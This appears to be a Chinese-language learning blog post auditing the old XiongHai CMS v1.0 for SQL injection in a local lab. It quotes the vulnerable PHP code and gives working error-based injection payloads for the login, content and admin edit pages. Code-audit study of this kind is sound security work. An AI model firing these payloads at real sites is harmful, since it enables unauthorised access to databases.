PHP代码审计学习_day4
前言
最近这段时间感觉自己很迷,不知道学什么,也不想学什么,但不学点东西,以后怎么办。所以还是继续努力吧!!!因为自己是初学代码审计,所以很多都不懂,哎,继续当个憨憨吧。
环境准备
Windows10
phpstudy2018:apache+mysql+php5.6.27nts
工具准备
seay审计系统、RIPS-0.55、phpstorm2018+Xdebug以及火狐上面的插件Xdebug-ext。
Xdebug的安装可以参考下面的链接,我最开始用的php5.4.45nts,但就是Xdebug安装不成功,就换成了5.6.27nts。
https://www.cnblogs.com/-qing-/p/11256913.html
https://blog.csdn.net/weikaixxxxxx/article/details/90137792
熊海CMS_V1.0
概述
这个CMS是2015年的,算得上很老了,但作为初学者的我觉得很适合自己目前的水平。
没怎么学过就按着自己感觉的来,先大概了解一些每个目录,然后就是rips和seay自动审计一波,然后phpstorm跟一波,再一一排除。
这个CMS目录不复杂,看一会就可以知道一个大概(前提是英语别太差了,当然有翻译也不怕)
SQL注入漏洞
该CMS有很多漏洞,暴力破解没有验证码、XSS等等,但这里我只想记录一下SQL注入,其他的就不记了(主要是懒)。
根据rips、seay的结果,我发现admin后台里面的sql注入很多,但是一般除非能拿到后台账号和用户名,否则基本没用,所以我先找除开后台里面的sql注入。
先是后台admin的登录页面。
漏洞点位于admin/files/login.php,看一下代码:
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];
if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);
首先user是POST传参,并未对传入的数据进行任何的过滤,且将数据直接拼接到sql语句中。(说实话,我现在咋就遇不到这种好事呢。。。)
再结合mysql_error(),可以直接进行报错注入。
payload:user=123' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+&password=123&login=yes
再就是content页面,漏洞点位于files/content.php
代码如下:
$id=addslashes($_GET['cid']);
$query = "SELECT * FROM content WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$content = mysql_fetch_array($resul);
$navid=$content['navclass'];
$query = "SELECT * FROM navclass WHERE id='$navid'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$navs = mysql_fetch_array($resul);
//浏览计数
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
@mysql_query($query) or die('修改错误:'.mysql_error());
$id通过get传参的cid参数获得相应的值,并且会经过addslashes函数的过滤,该函数会将单引号、双引号、反斜杠、NULL转义,所以我就看有没有数字型的注入了。(宽字节注入需要GBK编码,暂时不管)
就可以看到$query = "UPDATE content SET hit = hit+1 WHERE id=$id";这一句了,$id没有被单引号包围,直接起飞。
payload:?r=content&cid=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)
然后就是为files/software.php了,大致情况和content.php差不多,都是被addslashes函数过滤了,但都存在数字型注入。
最后就是admin后台内的sql注入了,很多地方都存在SQL注入漏洞,注入类型都差不多,就简单记几个就好。
首先是admin/files/editcolumn.php
很明显的报错注入:
payload:/admin/?r=editcolumn&type=2&id=1'and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
在这个注入之前,admin/files目录下的columnlist.php和commentlist.php文件根据代码而言也必然存在漏洞,但是自己不知道为什么注入失败。。。
再就是admin/files/editlink.php处
payload:/admin/?r=editlink&id=2' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
回显结果为:
后面的基本都是一样的,传入的参数并没有任何的过滤,可以直接利用。
总结
该CMS就SQL注入而言,我的收获是:
一是通过看代码,知道了有mysql_error()的就可能存在报错注入,而没有的就不用考虑报错注入了,盲注之类的可以搞一搞。
二是很多SQL语句并不是必须是select开头的,我们才能注入,update等等都可以,因为前后是不影响的。